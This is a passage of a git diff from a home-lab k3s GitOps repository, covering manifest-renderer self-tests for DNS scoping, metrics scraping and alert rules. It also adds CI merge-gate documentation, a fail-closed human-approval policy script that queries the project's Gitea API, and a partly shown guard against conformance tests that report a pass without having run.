-                        "summary": f"{s['name']} is down",
-                        "description": f"{s['name']} has been unreachable for 5m (SLI: up).",
-                    },
-                }
-            )
+            rules.append(_up_sli_rule(s))
         else:
             rules.append(
                 {
@@ -1386,6 +1625,16 @@ def render(sd: dict, image_automation: bool = True, inbound: list | None = None)
             )
         )
 
+    mon_allow = r_monitoring_ingress_policy(s)
+    if mon_allow:
+        docs.append(
+            (
+                "CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): "
+                f"{mon_allow['metadata']['name']}",
+                mon_allow,
+            )
+        )
+
     ie = r_internet_egress(s)
     docs.append(
         (
@@ -1503,6 +1752,25 @@ EXTRA_UNITS: dict = {
             "gitea-actions-runner-secret.sops.yaml",
         ],
     },
+    # PiHole's DNS exposure: the udp/53 + tcp/53 LoadBalancer Services on a pinned VIP, plus the
+    # narrow LAN ingress CiliumNetworkPolicy that admits them (apps/wave-0/pihole-dns.yaml).
+    # `above: False` co-locates it in pihole's OWN wave: these are the pihole pod's own Services and
+    # its own policy, applied in the same wave as the Deployment they select, exactly as the
+    # rendered Service and CNPs in pihole.yaml are. It is NOT a runtime prerequisite of anything, so
+    # there is nothing for a higher wave to gate on.
+    #
+    # It is a non-catalog unit because the ServiceDefinition schema cannot express a LoadBalancer
+    # Service, a pinned lbipam VIP, a sharing key or UDP exposure at all (additionalProperties is
+    # false, and `ingressRoutes` only renders HTTPRoutes on the L7 Gateway) — the same reason
+    # apps/vms/unifi/50-service-l4.yaml and platform/crafty/service-l4.yaml are hand-written. The
+    # split-horizon ANSWERS are in the catalog, as FTLCONF env on catalog/pihole.yaml.
+    "pihole-dns": {
+        "anchor": "pihole",
+        "above": False,
+        "files": [
+            "pihole-dns.yaml",
+        ],
+    },
 }
 
 
@@ -1576,6 +1844,10 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
     convention:
       - `<svc>.yaml`                        -> wave(svc)
       - `<svc>-bootstrap-secret.sops.yaml`  -> wave(svc)   (consumed by svc's env, same apply)
+      - `<svc>-claim-secret.sops.yaml`      -> wave(svc)   (a one-shot upstream-service claim token
+        consumed by svc's env — plex's plex.tv claim. Same wave as the app for the same reason the
+        bootstrap secret is: an env `secretKeyRef` has no `optional`, so the Secret must be applied
+        in the SAME reconcile as the workload or the pod is CreateContainerConfigError.)
       - `<svc>-oauth2-proxy-credentials.sops.yaml` -> wave(svc)  (forward-auth sidecar OIDC creds)
       - `<svc>-db.yaml`                     -> wave(svc-db) (a strictly-lower wave; CNPG DB)
       - `<svc>-db-app.sops.yaml`            -> wave(svc-db) (CNPG initdb owner secret)
@@ -1602,6 +1874,11 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
         w = waves[name]
         add(w, f"{name}.yaml")
         add(w, f"{name}-bootstrap-secret.sops.yaml")
+        # A one-shot claim token for an UPSTREAM service (plex's plex.tv claim). Same wave as the
+        # app: it is read by the app's env at pod start, and an env secretKeyRef has no `optional`,
+        # so a Secret applied in a later wave would leave the pod in CreateContainerConfigError.
+        # Placed only when the file exists, so services without one are unaffected.
+        add(w, f"{name}-claim-secret.sops.yaml")
         # forward-auth (Option B): the per-app oauth2-proxy sidecar's OIDC client + cookie secret.
         # Same wave as the app (the sidecar reads it at pod start); placed only when the file exists,
         # so non-forward-auth apps are unaffected. Mirrors the bootstrap-secret naming convention.
@@ -1902,6 +2179,96 @@ def _selftest() -> int:
         "a non-exposed service must not render a gateway-ingress allow (least privilege)",
     )
 
+    # 4b-dns) exposure -> ExternalDNS SCOPING on the HTTPRoute (R-DNS-03). `internal` renders no
+    #     public DNS record and must be INCAPABLE of rendering one: its route carries
+    #     external-dns's own controller annotation set to something other than `dns-controller`,
+    #     which v0.21.0's gateway-httproute source (source/gateway.go ->
+    #     annotations.IsControllerMismatch) uses to skip the route before any hostname is
+    #     resolved. `public` must NOT carry it, or the five public names would vanish instead.
+    #     Both directions are asserted here because only asserting the internal half would pass
+    #     just as happily if the renderer stamped EVERY route and silently unpublished the zone.
+    dns_int_docs = render(
+        {
+            "name": "di",
+            "source": {"image": "a:1"},
+            "exposure": "internal",
+            "ingressRoutes": [{"host": "di.home.keithjackson.dev", "port": 80}],
+            "auth": {"mode": "none"},
+        }
+    )
+    dns_int_routes = [d[1] for d in dns_int_docs if d[1]["kind"] == "HTTPRoute"]
+    check(
+        len(dns_int_routes) == 1,
+        "an internal exposed service must still render its HTTPRoute (LAN reachability is "
+        "unchanged — only the PUBLIC record is withdrawn)",
+    )
+    if dns_int_routes:
+        iann = dns_int_routes[0]["metadata"].get("annotations", {})
+        check(
+            iann.get(EXTERNALDNS_CONTROLLER_KEY) == EXTERNALDNS_CONTROLLER_DISOWN,
+            "an internal service's HTTPRoute must carry the ExternalDNS disown annotation",
+        )
+        check(
+            iann.get(EXTERNALDNS_CONTROLLER_KEY) != EXTERNALDNS_CONTROLLER_CLAIMED,
+            "the disown value must never be external-dns's own `dns-controller` (that CLAIMS "
+            "the route rather than releasing it — the one value that inverts the guarantee)",
+        )
+    dns_pub_docs = render(
+        {
+            "name": "dp",
+            "source": {"image": "a:1"},
+            "exposure": "public",
+            "ingressRoutes": [{"host": "dp.home.keithjackson.dev", "port": 80}],
+            "auth": {"mode": "native"},
+        }
+    )
+    dns_pub_routes = [d[1] for d in dns_pub_docs if d[1]["kind"] == "HTTPRoute"]
+    check(len(dns_pub_routes) == 1, "a public service must render its HTTPRoute")
+    if dns_pub_routes:
+        check(
+            EXTERNALDNS_CONTROLLER_KEY
+            not in dns_pub_routes[0]["metadata"].get("annotations", {}),
+            "a public service's HTTPRoute must NOT carry the ExternalDNS disown annotation",
+        )
+    # The DEFAULT posture is `internal` (renderer-contract "Default posture"), so a
+    # ServiceDefinition that simply omits `exposure` must also be unpublishable. Omitting the
+    # field is the likeliest way a new service arrives, and it is the case a per-service
+    # allow-list would miss.
+    dns_dflt_docs = render(
+        {
+            "name": "dd",
+            "source": {"image": "a:1"},
+            "ingressRoutes": [{"host": "dd.home.keithjackson.dev", "port": 80}],
+            "auth": {"mode": "none"},
+        }
+    )
+    dns_dflt_route = next(d[1] for d in dns_dflt_docs if d[1]["kind"] == "HTTPRoute")
+    check(
+        dns_dflt_route["metadata"]["annotations"].get(EXTERNALDNS_CONTROLLER_KEY)
+        == EXTERNALDNS_CONTROLLER_DISOWN,
+        "a ServiceDefinition that OMITS `exposure` defaults to internal and must also be "
+        "unpublishable (default posture, renderer-contract)",
+    )
+    # The scoping annotation must COEXIST with the auth hints rather than replace them: both are
+    # merged into one `annotations` map, and a forward-auth internal app is the overlap case.
+    dns_fa_docs = render(
+        {
+            "name": "df",
+            "source": {"image": "a:1"},
+            "exposure": "internal",
+            "ingressRoutes": [{"host": "df.home.keithjackson.dev", "port": 80}],
+            "auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
+        }
+    )
+    dns_fa_ann = next(
+        d[1] for d in dns_fa_docs if d[1]["kind"] == "HTTPRoute"
+    )["metadata"]["annotations"]
+    check(
+        dns_fa_ann.get(EXTERNALDNS_CONTROLLER_KEY) == EXTERNALDNS_CONTROLLER_DISOWN
+        and dns_fa_ann.get(f"{LBL}/auth-mode") == "forward-auth",
+        "DNS scoping and auth-mode hints must COEXIST on one internal forward-auth route",
+    )
+
     # 4c) inClusterClients -> one ADDITIVE, least-privilege ingress allow per entry that admits a
     #     PLATFORM controller's NAMESPACE (not the reserved `ingress` identity, not `all`) to ONE
     #     declared port. This is what keeps a cluster whose GitOps source is an in-cluster Service
@@ -2190,7 +2557,8 @@ def _selftest() -> int:
     # 7a) plan_apps_waves: sidecars inherit their unit's wave; not-onboarded SDs are skipped;
     #     EXTRA_UNITS anchor strictly above; a file absent from the tree is never placed.
     present = {
-        "a.yaml", "svc.yaml", "svc-bootstrap-secret.sops.yaml",
+        "a.yaml", "a-claim-secret.sops.yaml",
+        "svc.yaml", "svc-bootstrap-secret.sops.yaml",
         "svc-db.yaml", "svc-db-app.sops.yaml", "svc-db-backup-credentials.sops.yaml",
         "svc-db-backup-credentials-prod.sops.yaml",
         "gitea.yaml",
@@ -2201,6 +2569,10 @@ def _selftest() -> int:
     plan = plan_apps_waves(plan_sds, present)
     flat = {f: wv for wv, fs in plan.items() for f in fs}
     check(flat.get("a.yaml") == 0, "leaf app must land in wave 0")
+    check(flat.get("a-claim-secret.sops.yaml") == 0,
+          "a `<svc>-claim-secret.sops.yaml` (plex's plex.tv claim) must be placed in the SAME wave "
+          "as its app — an env secretKeyRef has no `optional`, so a later wave means "
+          "CreateContainerConfigError")
     check(flat.get("svc-db.yaml") == 0 and flat.get("svc-db-app.sops.yaml") == 0
           and flat.get("svc-db-backup-credentials.sops.yaml") == 0
           and flat.get("svc-db-backup-credentials-prod.sops.yaml") == 0,
@@ -2315,6 +2687,154 @@ def _selftest() -> int:
         "the escaped `$${...}` form must render (and reach the shell as `${...}`)",
     )
 
+    # 9) observability (R-OBS-01): `metrics: true` alone renders NO ServiceMonitor, and the `up`
+    #    SLI reads a signal that exists. This is the regression test for the defect that made all
+    #    twelve `<app>-down` rules structurally inert on prod (see r_servicemonitor).
+    obs_sd = {
+        "name": "obsdemo",
+        "source": {"image": "a:1"},
+        "ingressRoutes": [{"host": "obsdemo.${BASE_DOMAIN}", "port": 8080}],
+        "auth": {"mode": "none"},
+        "observability": {"metrics": True, "slis": ["up"]},
+    }
+    obs_docs = render(obs_sd)
+    check(
+        not [d for d in obs_docs if d[1]["kind"] == "ServiceMonitor"],
+        "metrics: true with NO metricsEndpoint must render no ServiceMonitor — a monitor naming a "
+        "port the Service does not define discovers zero targets and makes the SLI inert",
+    )
+    pr = next(d[1] for d in obs_docs if d[1]["kind"] == "PrometheusRule")
+    up_rule = pr["spec"]["groups"][0]["rules"][0]
+    check(up_rule["alert"] == "obsdemo-down", "slis: [up] must render <name>-down")
+    check(
+        "up{job=" not in up_rule["expr"],
+        "the up SLI must NOT read up{job=...}: no repo-rendered scrape target produces that job, "
+        "so the rule can never fire (verified inert on prod for all twelve apps)",
+    )
+    check(
+        up_rule["expr"]
+        == 'kube_deployment_status_replicas_available{namespace="obsdemo", deployment="obsdemo"} '
+        '== 0 or absent(kube_deployment_status_replicas_available{namespace="obsdemo", '
+        'deployment="obsdemo"})',
+        "container up SLI must read kube_deployment_status_replicas_available with an absent() "
+        f"half; got: {up_rule['expr']}",
+    )
+
+    # 9a) livenessWorkload override: the object that RUNS is not always the one this SD renders.
+    sts_docs = render(
+        dict(
+            obs_sd,
+            name="obssts",
+            observability={
+                "metrics": True,
+                "slis": ["up"],
+                "livenessWorkload": {"kind": "StatefulSet", "name": "obssts"},
+            },
+        )
+    )
+    sts_expr = next(
+        d[1] for d in sts_docs if d[1]["kind"] == "PrometheusRule"
+    )["spec"]["groups"][0]["rules"][0]["expr"]
+    check(
+        "kube_statefulset_status_replicas_ready" in sts_expr,
+        f"livenessWorkload kind StatefulSet must read the statefulset series; got: {sts_expr}",
+    )
+
+    # 9b) vm kind: a VMI has no replica count, so liveness is a running-phase series EXISTING.
+    vm_pr = next(
+        d[1]
+        for d in render(
+            {
+                "name": "obsvm",
+                "kind": "vm",
+                "source": {"vmTemplate": "quay.io/x/y:1"},
+                "storage": [{"name": "root", "size": "6Gi"}],
+                "observability": {"metrics": True, "slis": ["up"]},
+            }
+        )
+        if d[1]["kind"] == "PrometheusRule"
+    )
+    check(
+        vm_pr["spec"]["groups"][0]["rules"][0]["expr"]
+        == 'absent(kubevirt_vmi_info{namespace="obsvm", name="obsvm", phase="running"})',
+        "vm up SLI must read kubevirt_vmi_info with the LOWERCASE running phase: "
+        f"{vm_pr['spec']['groups'][0]['rules'][0]['expr']}",
+    )
+
+    # 9c) metricsEndpoint renders ALL THREE halves of a working scrape, and they AGREE. Any one of
+    #     them missing is an independent way for the scrape to silently discover/deliver nothing.
+    ep_docs = render(
+        dict(
+            obs_sd,
+            name="obsep",
+            observability={
+                "metrics": True,
+                "slis": ["up"],
+                "metricsEndpoint": {"port": 9100},
+            },
+        )
+    )
+    ep_svc = next(d[1] for d in ep_docs if d[1]["kind"] == "Service")
+    ep_sm = next(d[1] for d in ep_docs if d[1]["kind"] == "ServiceMonitor")
+    svc_port_names = {p["name"] for p in ep_svc["spec"]["ports"]}
+    ep_ports = {e["port"] for e in ep_sm["spec"]["endpoints"]}
+    check(
+        ep_ports <= svc_port_names,
+        f"ServiceMonitor endpoint port(s) {sorted(ep_ports)} must all exist on the Service "
+        f"{sorted(svc_port_names)} — this exact disagreement is what made twelve monitors inert",
+    )
+    check(
+        {"name": "metrics", "port": 9100, "targetPort": 9100} in ep_svc["spec"]["ports"],
+        "metricsEndpoint must render the named Service port it declares",
+    )
+    mon_cnp = [
+        d[1]
+        for d in ep_docs
+        if d[1]["kind"] == "CiliumNetworkPolicy"
+        and d[1]["metadata"]["name"] == "obsep-allow-monitoring-scrape"
+    ]
+    check(
+        len(mon_cnp) == 1,
+        "a declared metricsEndpoint must render the monitoring-namespace ingress allow — the "
+        "namespace default-deny has `ingress: []` and would DROP the scrape without it",
+    )
+    if mon_cnp:
+        ing = mon_cnp[0]["spec"]["ingress"][0]
+        check(
+            ing["fromEndpoints"][0]["matchLabels"]["k8s:io.kubernetes.pod.namespace"]
+            == MONITORING_NS
+            and ing["toPorts"][0]["ports"] == [{"port": "9100", "protocol": "TCP"}],
+            "the scrape allow must admit ONLY the monitoring namespace to ONLY the metrics port",
+        )
+    gw_cnp = next(
+        d[1]
+        for d in ep_docs
+        if d[1]["kind"] == "CiliumNetworkPolicy"
+        and d[1]["metadata"]["name"] == "obsep-allow-gateway-ingress"
+    )
+    gw_ports = {p["port"] for p in gw_cnp["spec"]["ingress"][0]["toPorts"][0]["ports"]}
+    check(
+        "9100" not in gw_ports,
+        "the metrics port must NOT be opened to the Gateway (north-south); it is for the "
+        f"monitoring namespace only. Gateway allows: {sorted(gw_ports)}",
+    )
+    # A metricsEndpoint the renderer cannot express must be REFUSED, never rendered inert.
+    try:
+        render(
+            dict(
+                obs_sd,
+                name="obsbad",
+                observability={
+                    "metrics": True,
+                    "slis": ["up"],
+                    "livenessWorkload": {"kind": "CronJob", "name": "obsbad"},
+                },
+            )
+        )
+        check(False, "an unknown livenessWorkload.kind must raise, not render a bogus expression")
+    except ValueError as exc:
+        check("CronJob" in str(exc), "the refusal must name the unsupported kind")
+
     if failures:
         for f in failures:
             sys.stderr.write(f"SELFTEST FAIL: {f}\n")

ci/Makefile

@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
 
 .DEFAULT_GOAL := help
 
-.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
+.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
 
 help: ## Show this help
 	@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf "  \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,18 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
 render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
 	@"$(CI_DIR)render-golden.sh"
 
+decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
+	@"$(CI_DIR)decisions-log.sh"
+
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
+gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
+	@./gitea-settings.sh
+
 conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
 	@"$(CI_DIR)conformance.sh"
 

ci/README.md

@@ -1,5 +1,19 @@
 # `ci/` — portable merge gate (runnable today, without Gitea)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 **Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
 
 The same merge gate the Gitea Actions workflow runs
@@ -59,6 +73,48 @@ Every stage script uses: **`0` = pass · `1` = fail (blocks merge) · `3` = SKIP
 with no cluster, or an unwired seam / missing tool). A `3` is **never** counted as green — that is how
 the gate stays honest in Phase 0 (no fake green).
 
+### The gate's OWN verdict (changed 2026-09-13 — read this if you consume the exit code)
+
+**`MERGE GATE: PASS` + exit 0 means every stage that was supposed to run RAN and was GREEN.** It
+used to mean less than that: a FAILED stage set the block flag but a SKIPPED one only printed a
+warning, so the gate printed `l0: skipped (unwired seam / missing tool) — not green` and then
+`MERGE GATE: PASS`, exit 0. That happened for real twice — a missing `promtool` (the alert-rule
+unit tests) and a missing pinned `kyverno` CLI — and exit 0 is what automation reads as
+merge-approved. Fail-open in the one component whose whole job is to fail closed.
+
+| verdict | exit | meaning |
+|---|---|---|
+| `MERGE GATE: PASS` | `0` | every stage that was supposed to run ran and was green; the R-TEST-03 subset was checked. Any capability the environment **declared** out of scope is **named in the headline** (see below), so a PASS never implies more than it verified. |
+| `MERGE GATE: BLOCKED` | `1` | a stage FAILED, or a stage did not run **where it must**, or the decision input is unusable. |
+| `MERGE GATE: UNDETERMINED` | `3` | nothing failed, but a stage did not run, so greenness was **not established**. Never a pass; non-zero so nothing can read it as approval. `3` is this repo's existing "not run" code, now spoken by the gate as a whole and not only by its stages. |
+| `MERGE GATE: NOT APPLICABLE` | `0` | there is no branch under gate at all (`HEAD` is on base — a push-to-`main` run). Stages ran; no subset was checked, and the headline says so. |
+
+Precedence: BLOCKED > UNDETERMINED > NOT APPLICABLE > PASS.
+
+**`make` masks the difference.** GNU make reports any recipe failure as its own exit `2`, so
+`make -C ci gate` collapses `1` and `3` into `2` (the headline still tells a human which it was). A
+caller that must distinguish them invokes `./ci/gate.sh` directly.
+
+### Which skips block, and why — a skip is not one thing
+
+| stage | a skip there means | verdict |
+|---|---|---|
+| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
+| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
+| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
+| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
+
+That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
+
+`GATE_STRICT_SKIPS=true|false` decides strictness and is **declared, never sniffed** — `gate.yml`
+sets it on the gate step, because the workflow is the thing that knows it is CI. Unset, it falls
+back to `GITHUB_ACTIONS` / `CI` (set by the runner itself). A wrong answer in either direction
+cannot fail open: both branches are non-zero and neither is a PASS. Set it locally to rehearse CI
+strictness.
+
+Locked down by `ci/tests/gate-decision.test.sh` (47 assertions over the decision table: stubbed
+stage outcomes against the real `gate.sh`; 32 of them fail against the pre-2026-09-13 gate).
+
 ### The touched-requirement subset can also be *undeterminable* (exit 3)
 
 `touched-requirements.sh` is the input to the R-TEST-03 decision. It resolves a diff base in this
@@ -146,3 +202,15 @@ its owner delivers a runnable entrypoint.
 `CLUSTER_AVAILABLE=true` (env locally, `vars.CLUSTER_AVAILABLE` in Gitea) makes the L2/L3 stage run and
 be **required**; anything else makes it **SKIP** (Phase 0). `REQUIRE_CLUSTER_TESTS=true` (Phase 1+)
 turns any unverified cluster-needing touched requirement into a hard block.
+
+All four switches are read through one `truthy()` in `lib.sh`, so they spell "on" identically
+(`true|1|yes|y|on`, any case) and — the direction that matters — **anything else is OFF**: a
+misspelled `CLUSTER_AVAILABLE=ture` leaves the capability undeclared instead of silently claiming
+it, which can only make the gate stricter about what it says it verified.
+
+| switch | default | effect |
+|---|---|---|
+| `CLUSTER_AVAILABLE` | `false` | declares a cluster; L2/L3 then run and are required |
+| `REQUIRE_CLUSTER_TESTS` | `false` | Phase 1+: an unverified cluster-needing touched requirement BLOCKS |
+| `REQUIRE_SPEC_VERIFICATION` | `false` | an unverifiable spec repo BLOCKS instead of UNDETERMINED |
+| `GATE_STRICT_SKIPS` | `auto` | `true` = a missing tool / unwired seam BLOCKS (CI); `auto` follows `GITHUB_ACTIONS`/`CI` |

ci/approval-policy.sh

@@ -0,0 +1,117 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
+#      non-author APPROVED review is present
+#   1  sensitive paths touched without such a review, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
+exit 1

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
